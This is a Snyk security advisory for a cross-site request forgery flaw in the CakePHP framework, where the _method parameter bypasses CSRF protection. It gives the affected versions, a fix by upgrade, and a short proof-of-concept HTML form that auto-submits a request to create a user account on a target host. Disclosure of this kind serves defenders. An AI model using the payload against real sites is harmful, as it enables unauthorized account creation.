Cross-site Request Forgery (CSRF) Affecting cakephp/cakephp package, versions >=2.0.0-alpha, <3.1.5


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
2.29% (90th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-CAKEPHPCAKEPHP-3252481
  • published29 Jan 2023
  • disclosed14 May 2022
  • creditEgidio Romano of Minded Security.

Introduced: 14 May 2022

CVE-2015-8379  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade cakephp/cakephp to version 3.1.5 or higher.

Overview

cakephp/cakephp is a rapid development framework for PHP which uses commonly known design patterns like Associative Data Mapping, Front Controller, and MVC.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) via the _method parameter, which allows a remote attacker to bypass the CSRF protection mechanism.

PoC

<html>
<body>
<form action="http://[HOST]/user/add" method="POST">
<input name="_method" type="hidden" value="CSRF" />
<input name="user" type="hidden" value="hacker" />
<input name="password" type="hidden" value="pwd" />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>

CVSS Scores

version 3.1